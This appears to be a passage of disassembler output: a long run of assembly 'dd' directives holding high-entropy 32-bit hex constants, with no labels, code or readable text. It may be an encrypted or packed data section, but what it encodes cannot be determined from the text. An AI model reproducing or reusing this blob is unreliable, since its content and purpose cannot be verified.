0ED9707A6h, 51490CFh, 72F97B5Bh, 4F587BB0h dd 4F28FEBCh, 0FB747CC0h, 0DF8AFD6Bh, 7F9CAD89h, 54B7D414h dd 3DA29A1Ch, 6A7D3242h, 0D0E9406Fh, 3F2C0212h, 13E95157h dd 512D2D6h, 5B2F57ADh, 0FC5A2856h, 0CC7F526Ch, 51749FE2h dd 524CDDC9h, 2D745B2Eh dd 5EDFBB60h, 9813B85Dh, 0E29B4170h, 1AA5CA51h, 68D65765h dd 6510DEA4h, 4FE6BE1Fh, 8F454557h, 21D9AE27h, 0CB9F0878h dd 0D7C7651h, 945FE550h, 0CB2E329h, 0C24EAFE9h, 0F2DCD45Dh dd 9C105955h, 2048A743h, 8B3045A0h, 51190C75h, 3E7441DFh dd 0BC046994h, 5B09AE7Bh, 0BC938285h, 2D089400h, 0B85980A5h dd 681B6760h, 80F85E53h, 37B95156h, 6C483F0Ch, 0F0825B04h dd 9D9DDA2Dh, 5603ED6h, 4B4072D1h, 0F917A106h, 50A667Bh dd 79C10418h, 0E94F88AAh, 98C90A24h, 43BB5360h, 140C0B2Dh dd 561E3C1h, 5EAB4270h, 0C095FBCBh, 0D54AEE8h, 0DD31A905h dd 57E14D5Bh, 0F92BEFFh, 0B415B98Ah, 3016BAF7h, 2968A438h dd 505CA8h, 56596E62h, 0BE0ACF81h, 0A77B9328h, 75703701h dd 93A5733h, 0A65F5FABh, 9200896h, 0ABA1914Ah, 0C09934F0h dd 0FD7C3A6Fh, 453806CAh, 874EE6E9h, 505137D2h, 2D4000B8h dd 0A38B5E6Fh, 0F595C501h, 0D2F61220h, 2216B551h, 561CEA28h dd 0D08876C1h, 0FD6C97E9h, 5170A44Eh, 83F7009h, 3AE6575Bh dd 2D84834Dh, 25469E5Dh, 21D91CE9h, 65D82989h, 97D29F3h dd 9ED5303Fh, 49B8209Eh, 1A302EA0h, 4CCAB980h, 8A5AF00Fh dd 0BD604A2Ch, 4A5F4C57h, 807A341Eh, 952854CBh, 0EF091529h dd 0F10382E2h, 5C12BA75h, 0B271461Ah, 0E80B295Dh, 0C27F0459h dd 385B406Ch, 5AF02877h, 0D3569C0h, 0F82425FDh, 0F417CE53h dd 2F10B6BCh, 0CFFE03AEh, 31FBC780h, 4F142D26h, 0E518DC47h dd 71965795h, 52DCB80Bh, 115743Ch, 290317CEh, 49AC3E21h dd 0C002F4Ch, 0E9D6FFEDh, 48CB7269h, 490177BBh, 735C293Bh dd 0D2E917FFh, 0F86F29B5h, 58760402h, 0B1EA2DDEh, 82080436h dd 517FFBF8h, 0C4F56B50h, 0A14A5B79h, 4DA32B25h, 9D6A257Bh dd 0CBC24554h, 0CCA6E984h, 0BDAB057Eh, 8417E879h, 0D9FB7D4Fh dd 2BEE3033h, 0C0B70E27h, 252EF0E5h, 54A8399Fh, 0C3408h dd 0E9555914h, 94C0CB40h, 0C1805866h, 0E870E1D8h, 0C111601Eh dd 3C875BDFh, 160618B5h, 2F3D7806h, 0B74815E9h, 0D1836C1Bh dd 1A64F49Dh, 5FE19039h, 4AFBE931h, 50E5CEAFh, 49C7A7C7h dd 3364360Dh, 0DE005199h, 509A6CAFh, 0E59BD0Ch, 4E2CE94Fh dd 7562F6EEh, 0E9753180h, 21C57355h, 37CFA03Eh, 562FD2BCh dd 80A6CAD5h, 9A06851h, 0E9134C6Bh, 79BC4312h, 46EF01A1h dd 0D6971CD2h, 66DF7289h, 69830998h, 95F242B6h, 46BDF09h dd 572F0B16h, 0C05769Ah, 42B1AD5Bh, 2743801Fh, 88011E88h dd 7A4F4A68h, 95D25B8Ch, 0CA311B77h, 0AE7882h, 1A89255Ah dd 0E8C133C2h, 3CE6084Ch, 1332381Ch, 37BCF831h, 75F7C3B0h dd 1071F1Dh, 82018ACh, 0F3685809h, 116FF7Dh, 4C928D2h dd 7CFFFA42h, 522A03E9h, 0BEDA0173h, 704DF6C9h, 39C04FD9h dd 435192F1h, 0B456902Eh, 5DE8C243h, 66C338C0h, 0D009BEBCh dd 0F322277h, 843C7970h, 0E814EE68h, 0B7CCC526h, 153DD8ABh dd 135BB040h, 0B328A968h, 1A480Bh, 421B1C8Ah, 7B70D0BAh dd 0ED8B779h, 0D6BD54E6h, 165972CDh, 8E77E8A7h, 0A551B91Eh dd 16DB1A74h, 0EF6BE9EBh, 58060CD0h, 2966121Ah, 9C45D1F7h dd 0D75C0248h, 834E2502h, 11807709h, 3084B75Bh, 9D51F752h dd 0F0B5321Dh, 69162382h, 7A297Ch, 718AED1Eh, 50030346h dd 443C3868h, 1520EE73h, 0B86E31E9h, 2D6F5710h, 1CD2D45Eh dd 0BF7C8FECh, 0AC70AAA4h, 5711C051h, 0B0BE3D53h, 72F609D5h dd 5E5CC631h, 83B23DF8h, 0F761A64Eh, 0AA0599A3h, 297832C1h dd 2C0F7824h, 0C96F02B6h, 4CBF16FFh, 0FC517350h, 413FE435h dd 617DC812h, 4F7E56Ah, 801C0818h, 13F82747h, 5FB11AD7h dd 66406F54h, 5369BF0Ah, 0A40ED01h, 73302768h, 12F24598h dd 0F416DF2Dh, 0AFE94169h, 80F36A6Eh, 2E796882h, 6C623774h dd 0EA5C05D8h, 177441B2h, 0BE54C668h, 7E34A08Eh, 27C2F863h dd 0BBB56093h, 0BABE1E4Eh, 4BAB8927h, 0CB488CD2h, 605309E2h dd 0D9D4A9B4h, 388C6D96h, 1D5942B3h, 0A4AEE280h, 0BE9500Bh dd 598AC93Bh, 0F847FBD9h, 2FA411B0h, 4C7AB55Fh, 90D4D29Fh dd 943F20D3h, 4055C16h, 0A24F4FF6h, 75686CEh, 4407110h dd 76301225h, 0D47EE87Ch, 2F3D07A4h, 0F7952B45h, 0DDEFE509h dd 0C85DD66Ah, 3B14BE34h, 0CF037993h, 61E77FADh, 22E94916h dd 0D82E20BEh, 284B6D38h, 533B93EAh, 0F34D6444h, 0FDADC8CDh dd 843AC40h, 0F581A141h, 805CA61h, 8BAFEA12h, 25FE59F4h dd 3C6B586Eh, 0CCCA875Fh, 0E77D7C2Dh, 0C8293717h, 5392C6B2h dd 0A25E003Fh, 810A5474h, 0DEBE505h, 2F8060ADh, 502F40E2h dd 1748C829h, 0A128CB36h, 0AB022E25h, 7E058CD1h, 0FBCA3973h dd 65A80801h, 0C4832E5Fh, 0D1A09A5Ch, 0F1E91F1Eh, 0B42D1667h dd 0B4E9C1F4h, 0F8CE6B10h, 2AFB994Eh, 41F79AAh, 0A8CE05E3h dd 0B2E4EE98h, 0F89405h, 0C0FE9CB0h, 28006234h, 0E2D058C2h dd 0B397F4E9h, 3B0D090Dh, 68049DF1h, 9AE67362h, 0E6A14A7Ah dd 27FD1857h, 4F66D185h, 0CEE85Ah, 478F280h, 9D68E915h dd 78558F09h, 13C09F8Dh, 2D80FD94h, 87F80319h, 58C1293Eh dd 0B04E497h, 6E880181h, 136AAB21h, 0B938107h, 0DAD6CA9Ah dd 0C4EFE906h, 4438DF48h, 0BE0CF568h, 6BE42ADDh, 0A87A4ACDh dd 0F90ED26Ch, 142D1CB6h, 2E56BD5Bh, 4906340Bh, 0DDC25448h dd 7640EA7Bh, 3471F626h, 0B82D70E9h, 0E6B44E8Ah, 731907B3h dd 0C2A3BB7Ah, 0BC789C11h, 84BAE398h, 8081D2F2h, 85044A8Ah dd 2D2C1DE4h, 0B282CB65h, 4AA0E97Fh, 889700FAh, 3E689917h dd 8698D901h, 97ED1B67h, 0A141E80Eh, 5D569F89h, 7752AB4Bh dd 805AE620h, 0D2A00CC6h, 0F3782839h, 0E97F4E98h, 19B5324Bh dd 0DE082C94h, 0E232EB2Eh, 5F36279h, 17DD454Bh, 1350153h dd 705B6E93h, 0CE41398Eh, 0B26BAED4h, 0FFD14AC5h, 5E5E0992h dd 0E1F59715h, 793E3D18h, 0D42C2127h, 0CC77726Ah, 0EB515FADh dd 25E9047Ch, 0BF92DF0h, 637D253Ch, 0B0AEDC2Dh, 73F6568Dh dd 0A2B97C4Fh, 0AAC8C9DEh, 0C16883A7h, 3B7C7520h, 8F57400Eh dd 560C18FBh, 1A9B3E6Ch, 159AE303h, 183B05D6h, 14A7214h dd 7A5554ACh, 0E2E91E24h, 0A4C5B7E8h, 0AC4B7311h, 131604F9h dd 7C2380Ch, 94405D01h, 4803495Fh, 2743E281h, 0EA608F65h dd 2CDCCEBFh, 83FC21C4h, 0FA35C9C7h, 79C9ABC5h, 67B72D2Bh dd 0E9301AF1h, 5026A128h, 0E7203CB8h, 336B9774h, 8BC676FAh dd 9B4891F0h, 0B028FD7h, 0C70C102Fh, 0D2470B71h, 0A674312Bh dd 0F3A48239h, 48B2E9CEh, 49DDF742h, 2D15FC4Dh, 809D4935h dd 13C2CFF2h, 0D56089ABh, 107CC1DAh, 12B1ECBh, 85139E9h dd 0CCA226DCh, 380ED759h, 1FF965B7h, 82874C52h, 0A0BC590Ch dd 5E89776Bh, 8EEF4CD5h, 1C872F09h, 0C4D3459h, 0D7FFA27Fh dd 0E9F568EAh, 96B9404Fh, 0F76212Dh, 0C8311086h, 0E1F898A6h dd 0D05AE87Fh, 0BAA24EEFh, 0F7B4BFD2h, 0D1C9EB30h, 0C9FE088Ah dd 99E90408h, 30D5E51Dh, 574EEB6Ah, 0D0DF55F8h, 8B5E2BB9h dd 843C8023h, 9808E9C3h, 1D90A3D1h, 0CC3C307Ah, 6B12CB06h dd 4B01D2F7h, 53F8B61Ch, 48E9DE50h, 0E599B5A6h, 1F5BA8CEh dd 3668072Eh, 0CFFE1035h, 0B01D16D0h, 8F130991h, 0BFE5903Ch dd 0B1581A23h, 706627F9h, 0A81E8416h, 0BFE2E7B0h, 0D891A73Fh dd 2C392F3h, 2A3CEA63h, 49401FA3h, 0C13E35E0h, 0E5CA1D63h dd 2454D30Ch, 2DF90FB3h dd 2C333118h, 754EE9F0h, 0A9B86900h, 75E4C4Eh, 0D92E1B2Dh dd 65615F5Dh, 0E4055428h, 535AB545h, 8B3FDF04h, 7508CABh dd 0C78A7D4Ah, 222D258h, 0E27B0141h, 8D73C4D3h, 63E072CDh dd 448EBE7Bh, 0B19EAF59h, 0AC20144Ch, 13EB8103h, 0D93F881Ah dd 0E0325A5Ch, 697C042Fh, 2E680DCCh, 6B4D2E8Ah, 9507E457h dd 0BD1B232Ch, 415ABE09h, 9DF1F018h, 0C006F584h, 0C92DFC7Eh dd 2493148h, 6FE67536h, 1DE4F748h, 2DD65E58h, 8514204Eh dd 0B557D73Eh, 1C5F5B63h, 4BEBA416h, 0E8098F8Ah, 3EBAFFC0h dd 729A1D12h, 53D6D2FEh, 0B7EAE47Fh, 0C5B7816Ch, 43726AA2h dd 760B682Fh, 75B665Ch, 455FDAC3h, 0F4EE1AFBh, 0B62C52B3h dd 0DA3EDA39h, 0FD2571C7h, 5A819CB2h, 6B43E950h, 0A7BF0512h dd 3AE9828Dh, 196ED72Dh, 814095B0h, 0B925F568h, 0A82493E9h dd 4D0B00B8h, 0BFB91FFCh, 6A131637h, 79E2C131h, 87DFFB26h dd 788EF80h, 8A1EA3F9h, 0D3F73E09h, 28457043h, 0C1800749h dd 41603F0Ch, 0BE1D20DDh, 201ACEF4h, 51CCB29h, 0D3AB8708h dd 98D26062h, 70836DE3h, 5A466C27h, 45D80FD1h, 54C46EC0h dd 0E68BBA3Ah, 9469EA7Dh, 98BF50BAh, 0FE35B12h, 3D752701h dd 602F6D1Ch, 77720DD9h, 7AD06BE3h, 2FB37CAEh, 98DC294Bh dd 4E8F180Ch, 55582654h, 62411061h, 8232A71Ch, 9933006h dd 1EA87B02h, 0BA817F5Bh, 34B956C3h, 92E2930h, 4278211Eh dd 4863248Eh, 1A052268h, 57A4064Eh, 54C1BFC0h, 9C024835h dd 13F44227h, 7F655549h, 2216C825h, 1D008C05h, 0BF783339h dd 13CCC6E7h, 0FBDF0187h, 0CA6A063Dh, 0E9510594h, 0AF2930DEh dd 0C073B5ECh, 3A2BBB8Eh, 98C2031Ch, 0DD34092Ah, 0AF207CD8h dd 0ECEA9D66h, 0F428BAFFh, 9E1425AAh, 15AC6816h, 9586A3CCh dd 54B9D700h, 2C01A14Ch, 0A455A0BDh, 95303158h, 0E9DD1629h dd 0ACEAF0E0h, 41F2C16h, 0DDD8400Eh, 1AB75304h, 0F6D5C8AFh dd 5250D700h, 0D488B5B2h, 0AEB830E9h, 5801F7E9h, 686B2004h dd 7CA253ADh, 0EDB4F448h, 550993DBh, 0A550D6DBh, 55A9647Fh dd 432C8623h, 0B89B94Ah, 0B486BC3h, 0E9DC0135h, 367A6F46h dd 0B88065D0h, 539D6EB7h, 6D163DA4h, 0FA20BF90h, 3E251FB9h dd 2A94059Ah, 34960DDEh, 42F9BE29h, 0E9F2F04Bh, 0F286982Fh dd 0EFF60B95h, 0AA602914h, 97045BDEh, 75ACE92Dh, 0C5880891h dd 883AEBC9h, 59DF14Ch, 2BB50A1h, 58250852h, 0E05B6DD4h dd 0B8764D63h, 35590279h, 4C012903h, 65133940h, 7921C933h dd 0F927CB73h, 0E57F5FFAh, 100B05BBh, 0D859179Ah, 395F4303h dd 0F7A2E91Fh, 0D6FE4EDFh, 5F22E816h, 50D490A7h, 0AC446884h dd 2AEB4FEAh, 11051C69h, 8D94572Dh, 649234FCh, 0D883FCB5h dd 1A97E929h, 0D950C22Fh, 83F7A5C4h, 0DCB8683Dh, 0F255108Ch dd 0C92516E3h, 59790B41h, 66A215C3h, 78FF2BCAh, 297CB764h dd 0FD6F4252h, 982798FAh, 76962517h, 2DE9973Ch, 3457A545h dd 2D609554h, 0E29F3868h, 0D8C656D1h, 6825E1F7h, 0A70B51BDh dd 0BE0C215Eh, 620B8DACh, 83FC7B74h, 47FD2104h, 0C43041Fh dd 28189C0Fh, 79E2D058h, 0A7C49E5Bh, 5AFAE8BBh, 1D972BBh dd 0D355B8BAh, 1C526CA7h, 88907997h, 0E9617F8Ch, 20924238h dd 168C1C28h, 0D0F904C3h, 0D473274Ch, 94CB1626h, 0C5A84708h dd 19ED33C2h, 0D6E0A9DFh, 0B7A401B8h, 0D106CD2Dh, 9F1F8873h dd 0CF240D29h, 0B0B68F0Bh, 2D572EA8h, 0FAF66CF2h, 34B0919Dh dd 0F002EFC1h, 69A660FDh, 12450830h, 3B25AAB8h, 20D64C4Ch dd 0C2984A73h, 9F5DF2BDh, 0BF01AE53h, 5486330Eh, 315AC72Eh dd 0F70668F0h, 174CBF1Bh, 0F884B4AFh, 1897E944h, 792B39BBh dd 25AD4C28h, 7774C8D1h, 69FB9D0Bh, 544092BDh, 0A2102CE3h dd 77FE4F70h, 0FBA5E487h, 0F6D98417h, 16560A60h, 0D83BD114h dd 2A59CA54h, 8A125B87h, 39AF27BFh, 4427A57Ch, 20577B96h dd 42248062h, 3902B34Ah, 57465271h, 130FB60Ah, 0E2A28C94h dd 0E3EABCD2h, 630F8687h, 7D4B764h, 9E6FBF2h, 475D5DEEh dd 6853024Ch, 8B595D64h, 1193B3B9h, 0F8F7BAE0h, 8CDC9D75h dd 5B545650h, 0E41CE25Eh, 804AC0E4h, 585B5950h, 811694E6h dd 0E854FFC7h, 5B9227EAh, 65D54B7Ch, 0E74E95D7h, 2ACD0E7Fh dd 817D5B4Dh, 0E45392EDh, 660C800Ch, 31D26FC4h, 0A05D4EE9h dd 0F7E2404Fh, 0B82DD003h, 0F126F37Dh, 396AC72Bh, 10787C64h dd 0EE4B4C71h, 0BEEB26C8h, 51F42F14h, 0B1F3401h, 406E5F24h dd 0F4E0CBC4h, 0F95D89DBh, 0BB53830Eh, 55652D20h, 81822075h dd 4C4017E2h, 0AF184B78h, 3EEF1783h, 0C692B213h, 340214FBh dd 0A59D1D4Ah, 72881D5Eh, 49680BFEh, 0E3E95833h, 0D4192DB5h dd 4D137023h, 1D052BD8h, 39AB216Fh, 73E6F8EAh, 54C341C9h dd 2389A5B1h, 84F0F57h, 68560EF0h, 15D17FA3h, 5565DFD9h dd 5C8EAAE8h, 8E25051Dh, 96A02FB7h, 290D1762h, 108EF851h dd 63E9D808h, 0DAE2B14Ah, 8464AD93h, 8AAE36D8h, 0E97961F6h dd 39AD70A9h, 0B9019A76h, 626E1827h, 57E9226Eh, 4342A340h dd 3170F00Ah, 72A5216Ch, 6265204Bh, 81DA9981h, 15B62573h dd 0B3D46A61h, 17432424h, 0C9DE832Eh, 5834DA60h, 0C0E103FFh dd 20D5C96Bh, 0F4A8C3C3h, 7496874Ah, 0C3FC702h, 42BE8578h dd 133030FBh, 0D1739131h, 4058F340h, 513B666Ah, 0C87B70B1h dd 0C782E027h, 0F5253F12h, 0E5B72A78h, 45690946h, 0CAA745F3h dd 902FC09Ah, 0F9E7974Ch, 959F91A0h, 244322F1h, 0E9F76CF0h dd 0E9EB6238h, 2F955C31h, 5800608Bh, 1948CC68h, 1040D46Fh dd 0BD049EC5h, 0A5E4B026h, 650DF5ACh, 4CF32FB4h, 0AA93307Bh dd 1A3CFA3h, 1F655B3Bh, 32CB8CE7h, 789B7764h, 94F8B85Ah dd 0B23DF7C0h, 0AB5EE90Eh, 0D8646E97h, 40CB3588h, 0B24A687Ch dd 0C29DCCE9h, 591FB923h, 0A3CFCBDDh, 67FBB9A5h, 363E24h dd 89432C62h, 8CCFE9EFh, 3CA97197h, 0CA996416h, 8D535492h dd 28F7213h, 7D4C5DFDh, 8160A43h, 599DBF58h, 3DCC07A7h dd 72984C24h, 5D7D9042h, 0A9569210h, 0C8E9289Eh, 0CE3DB475h dd 51E4FE2Bh, 44F3FF89h, 0FF6D4B7Ah, 0B93075C9h, 5A61770Dh dd 2806051Dh, 243AF4Dh, 0C15A9BF5h, 0E03C2988h, 3C0E7427h dd 4DF3A976h, 29304A8Fh, 5EFE789Fh, 2ABEE817h, 649DAB5Ah dd 0B7D9704h, 0DCF70923h, 0FD2958EEh, 73ADE913h, 9C843DADh dd 1F121652h, 9FEEB257h, 29E90BD7h, 0E33E5D69h, 45213C40h dd 0BE188371h, 16062961h, 0BA9B3544h, 0D224D28Ah, 585A843Eh dd 30E58050h, 7802934Fh, 6CB0D4B8h, 33815587h, 3873ED68h dd 3651CE9Fh, 0FEF79AB8h, 69298A16h, 3F100479h, 3EFA6802h dd 0F0BF21E6h, 965D005Fh, 81495957h, 733EBDE1h, 0F13AF6E0h dd 0A802429h, 2A08CA12h, 0EC5B1232h, 0BCD5873h, 0C6039268h dd 74470227h, 0DAF7388Dh, 4B9CEC1h, 4A80A0EEh, 6ECF8001h dd 0C7FEE7D0h, 4AE97F30h, 5D5C839Ah, 21BBBF5Eh, 55E6AABh dd 555F0980h, 302B9087h, 0C21780D1h, 832544C4h, 1FC6F06Eh dd 160DB27h, 3A6DECF2h, 410C8011h, 3101D20Ah, 0CEE92FD6h dd 0C0EA7891h, 2BF51ABh, 510E5725h, 69998BD6h, 0BFF8AA9Bh dd 0AF267F2Bh, 79003C4Ah, 6877971Ah, 3A7BB59Fh, 75169202h dd 17BC5B3Dh, 2BBCE117h, 0E7E2BFF2h, 0F77584FFh, 0BBC160E8h dd 0E112427Fh, 6F0FCC2h, 0D38B7A93h, 38ABC614h, 0AA5F5372h dd 0F060AF69h, 0BCA4FE9h dd 0F351516Dh, 8B2080ACh, 0D504F284h, 394B685Ah, 7A5298FAh dd 43AB4200h, 77EF0BBBh, 9574B2F4h, 14E9D798h, 7E7B7569h dd 5CF300D6h, 68523321h, 2A20F72Ah, 0FE2BE1B5h, 0C3E4F23Fh dd 0CCAAE950h, 0EBBF2EEh, 62F9F766h, 5D5AA268h, 48C232D4h dd 9BE4095Dh, 25935B4Dh, 0A2862096h, 3C0E3573h, 0A072C629h dd 0BEB5E908h, 92BD0101h, 20438E42h, 3B79C546h, 0A60C4560h dd 803D512Fh, 0C01E9734h, 5ED2E9B6h, 0EA2BC929h, 5C52DE5Dh dd 2F0F9CCh, 953201Eh, 4C05DEFh, 54C4712h, 0A3C727DBh dd 3B8C75D3h, 1F95F1F9h, 0E6078A88h, 1158C680h, 0F83AB252h dd 76BD6292h, 0FFDAFA4Ah, 0DCCEE281h, 0C2BD79A5h, 0E969C06Fh dd 1D0FB58Fh, 0EF2048E4h, 5EF1FE81h, 0E6A6A349h, 6709AF3Bh dd 4B5287FDh, 2788C0C3h, 5EAF6818h, 0CC137E45h, 81BF2F5Bh dd 0D5B0509Ah, 4D02F7C2h, 5E09194Ah, 0CFF200F0h, 3105F5D4h dd 41F83703h, 501527E9h, 146A6723h, 993D9044h, 0D364C61Dh dd 24E5E829h, 3BA769DEh, 6A5EEA5Ch, 0D31B8565h, 1C1E25ECh dd 0D19B3262h, 675FDD89h, 52B32C74h, 289AED75h, 63422055h dd 78CD3139h, 0D9C908DEh, 47C9A21Fh, 806F7909h, 702060E4h dd 30FED405h, 27F34A48h, 427158Ch, 0EA1A80E9h, 0B006DB26h dd 0ABF05A3Fh, 5BC26421h, 5DD58205h, 0BA882356h, 84B90125h dd 0E82EE1B4h, 0ECBD9E78h, 8F2A9612h, 6016AA68h, 0A838197Dh dd 0D727597Dh, 0B0521847h, 7D808A5Dh, 0E5C078B5h, 0ED800202h dd 0D8D5F63Eh, 0E9AC1FE0h, 0CA56E57Dh, 769B3AC7h, 4F00C975h dd 14A66EDAh, 25F85348h, 0F3551825h, 32590120h, 0D67DDCBBh dd 0E5F12E41h, 2356AB2Bh, 348F4FF1h, 28A0EE80h, 0FBB151C6h dd 0D0D1F614h, 45E106A4h, 0E812C9FEh, 0A2EDF3C1h, 928DF5F4h dd 0F9029F77h, 0B3445B1Bh, 757A8002h, 77DF21D6h, 0DF95F2DAh dd 86682C01h, 5C713362h, 0A7E93AF1h, 72867E29h, 201F967Dh dd 0BD0053D6h, 55222139h, 289CD81h, 0E90CCB18h, 4CDA5BD3h dd 2D535D48h, 818F766Ah, 0A75E13E5h, 2CCC6134h, 82472CC0h dd 70505104h, 0F1CF6CC0h, 694E0B42h, 4A424BE9h, 3EDEED57h dd 0DFD0AEC8h, 31FE6627h, 46A2D62h, 0A743825Fh, 802DC108h dd 0DE735A4Bh, 0B283C13Ch, 6C142B07h, 0C020620Ch, 86407F20h dd 3CC7F682h, 0D053C888h, 94EFD552h, 340DDD19h, 856B958Ah dd 0CB510530h, 0DA8EFEC2h, 32A0577h, 0BA586E2Fh, 0A46B972Dh dd 4D5DB75Eh, 5A2885BDh, 13C8E2FAh, 28B85B07h, 958BBFD6h dd 206BA29h, 77E157C1h, 579F9A7Dh, 0BF821165h, 75155069h dd 6140D3C0h, 0C1582AC7h, 83E0286h, 638D39B1h, 0AB96B7EAh dd 0DD298C45h, 0AA4A9E8Eh, 87FA1953h, 1F0B92D2h, 1EB91CDFh dd 0A5E9C9B2h, 4BBD0256h, 92668ABFh, 50868AEEh, 537C8F48h dd 0D4BB014Eh, 848C01CEh, 6B8229C7h, 0EAF40AC7h, 0EE000EBh dd 813CE056h, 0D0AF137h, 22B4CAF4h, 0BB7140A9h, 763BFE0Ch dd 275644Ah, 4547E120h, 0D9FD9C68h, 11448045h, 0E3810372h dd 42530D0Bh, 0CD89004Fh, 97C676B2h, 224145Fh, 0A9C7E7Ah dd 17F00EE9h, 0F9EE217Bh, 0C524975Fh, 0FB4F15E8h, 681C0330h dd 197603h, 43C83AF3h, 5BDE899Dh, 32F0212Dh, 0E65457A8h dd 68859948h, 0B2341EBDh, 0DAD0399h, 0A949CE54h, 0ADD5C54Eh dd 5E7980B0h, 0A4C5C082h, 0A968BD9Ah, 842F3F39h, 20E0D01Eh dd 0F2FA57AEh, 46698209h, 95C97704h, 5EAD6031h, 0BD0196B6h dd 76DF5753h, 0FBD95DF2h, 0FFF2D40h, 0EC61580Eh, 0C4125621h dd 5D48DCAFh, 495CD1BFh, 7BB5667Ah, 8D9F1A85h, 557AC742h dd 1657E33Ch, 34BA6336h, 9613E9EDh, 0E5B7F904h, 0B01AFCBAh dd 2E0567CDh, 2E35C35h, 23C06D75h, 626C7256h, 0C71A64CCh dd 0EE00BE5Bh, 354DE038h, 560BC712h, 0E959A4E9h, 324D77DAh dd 0DAF63E84h, 9DB48FD7h, 0E25E4AB8h, 0FBE9E0CFh, 0C11FC023h dd 3F01435Dh, 67CE092Ch, 80AB622Fh, 0A5B9F5A7h, 973141E1h dd 8DEABFF0h, 9F1E872h, 72124BD8h, 18C13E02h, 0C8895612h dd 55095E7Eh, 0D744B468h, 2C7D0631h, 8FBAD353h, 0FB8E5AE6h dd 16578310h, 98AADA01h, 3318820h, 7FF1B65Bh, 663DEF35h dd 0AAAD7B9Fh, 592745F3h, 6F5459C5h, 6FAD18A8h, 2E857EB8h dd 0B355E57h, 59F4A03Ch, 4B013A85h, 0F1A00BEh, 424D757Ch dd 9F05E919h, 173E5E24h, 6916913Ah, 0C1AE0480h, 0AFA698C1h dd 5515CF5h, 810F34F5h, 2B56F4DFh, 0F01774E6h, 92DDB3D7h dd 5838B0C2h, 3D74BDCDh, 27689754h, 3E174DC7h, 50FE269Ah dd 0ED5E0825h, 63AE84B0h, 950FEDE3h, 0B4B97249h, 620DA791h dd 23A2F76Eh, 0D15F6619h, 0F901848Dh, 0BC41C85Fh, 2D05E5B2h dd 63D137Bh, 5E4BFDF4h, 301CCC9Bh, 65FD384Eh, 10752DC0h dd 114124Fh, 3C0705E8h, 0C6F8285Dh, 5B73030Bh, 9F960819h dd 71E0F509h, 76816A0h, 0D2543776h, 79FF6362h, 894A6946h dd 7667F81h, 6E5FF6CCh, 9C6BE62Fh, 0DEBC5CE4h, 7CC1E985h dd 71ABE595h, 279C479h, 20EC5D01h, 484425Ch, 0B9FC7161h dd 6913FAh, 1B65D858h, 35B22905h, 315D0882h, 3372EB14h dd 0EEE3C11Fh, 109942CBh, 487609h, 0D0E4118h, 30E0CA3h dd 491C3545h, 0C761027Eh, 7D489258h, 0A555CDE1h, 82167455h dd 1C06730h, 4D797D7h, 0A92291E9h, 503C169Ch, 0F298DB0Fh dd 5897711Dh, 0B7F5D988h, 9FEF005Ch, 83189499h, 49B9F251h dd 53773740h, 0C06604Dh, 0F43D7C11h, 0E9EB8904h, 31BEFC82h dd 7F75A441h, 59264EDh, 41A1D5F0h, 1368F1C6h, 0F7522B0Ah dd 88B933FAh, 0D3F3BBFCh, 2F3CEE5Eh, 72F630E9h, 0E51B050Ah dd 31BCE404h, 0B8FC58C2h, 486FF205h, 8CB5C1AAh, 86802D24h dd 51471D5Ch, 0E77A9C8Ah, 9AF93EAEh, 759C7E53h, 9F8A9A80h dd 0C0978088h, 5E3A68F8h, 0BD78C14h, 57CF429Fh, 0AE426459h dd 0DDEFA9ABh, 0C0FD10C1h, 0C0BF54E8h, 4E902D55h, 15D58514h dd 0DD17D604h, 3E8CBFBEh, 0F6385E10h, 47387A7Fh, 75AB4E4Dh dd 4B4C2297h, 5B9F3DF0h, 638E089Eh, 0D8015A04h, 186EF280h dd 0AF8B7C3h, 0F93B5D7Fh, 0AACA0208h, 8068E04Ah, 9A07EAA9h dd 4753B747h, 0F8ACE989h, 914D97CCh, 7FC6FA8Bh, 5E7B7546h dd 0CA003BFDh, 8003EEC0h, 28F21FC6h, 64D94BF4h, 4201A66h dd 2F7597C8h, 0C0554B5Dh, 1808BE83h, 0CC0D656Dh, 25011168h dd 0E9D60905h, 5385FF2h, 3EF950E3h, 930B3855h, 516B8BFFh dd 16B97C36h, 62B2EC88h, 6DAE1F93h, 0D32D8600h, 3058052Ah dd 7BFD27ABh, 0A4B3814Ch, 0CCC4F380h, 0FE0523E3h, 166CE9CBh dd 16BE3088h, 0EC63F641h, 0C34A2887h, 157E5114h, 14EA02CFh dd 0C88D1070h, 926FE912h, 0C1801C01h, 0B1C3C230h, 85DFCB28h dd 9A44625Eh, 8EFB5FFEh, 0D12E54A2h, 0DDED2563h, 5F517644h dd 1660EC06h, 3B92B874h, 0A0C84652h, 46270F4h, 31E938D1h dd 0F0CCBA67h, 0BB904A68h, 37EB8031h, 5E5582C3h, 0FC18C42Bh dd 83493EB8h, 129D6857h, 8CDE2F35h, 6AB068C0h, 1E41BAEEh dd 0DFF8BC6Ah, 0E84A5012h, 0FB0BEA51h, 4427795Dh, 0BD37E08Fh dd 36026712h, 0D12B4A05h, 8A12D164h, 8B799CEFh, 81EE2D4Ch dd 29060E3h, 3FCAC2Eh, 89827BF6h, 0E0F18A29h, 173CC304h dd 0E5420B46h, 210805B0h, 29436865h, 92563E3Ah, 6612F3CBh dd 4B8944A4h, 75E9D8E3h, 0C1A2114Ah, 80B2BBD2h, 6396FA62h dd 8361285Ah, 7609681Ch dd 24CBB62Bh, 0AA66794h, 0ADE0E527h, 508F67B2h, 72699BC9h dd 4F1D7C14h, 0B26074BAh, 63A001A6h, 0D1891096h, 4C4F8B2Ah dd 3726094Fh, 0ED88818Bh, 0DCC5D6D3h, 0AF74042Bh, 0B87DD0E3h dd 21E80241h, 9555F8BDh, 963F8C70h, 0E3CA633Fh, 2E8D2773h dd 0B1890959h, 0CBDB04EDh, 41F38107h, 401EF010h, 0D63443C8h dd 0F6C16F74h, 2B02DCB8h, 0FBF3E47Fh, 0BC559362h, 8282D170h dd 33A82D21h, 23E208C0h, 2477A3Bh, 0AE449BF7h, 8131FE0Fh dd 1458AFCFh, 0EB1E8767h, 6B1C5Ah, 5E259431h, 0B269BD1Fh dd 2E173A1Dh, 87D4B2A8h, 0C59DEF4Bh, 59AF443Ah, 0D62822EBh dd 8A504244h, 8202DE92h, 2FC06A7Ah, 9E240325h, 6504280Bh dd 0D582DC2Fh, 52A47597h, 0CCB4BBEFh, 1FFBEEAh, 0E323102Dh dd 50E67F30h, 0B807AB5Eh, 0B41F1DBBh, 0E1F31CF6h, 0A034FE4Ah dd 2836F6A5h, 0B37F4C46h, 0F2F390CEh, 7856840Eh, 0EBD0E1ADh dd 9FAE3B18h, 1818C0E6h, 4B3A74AAh, 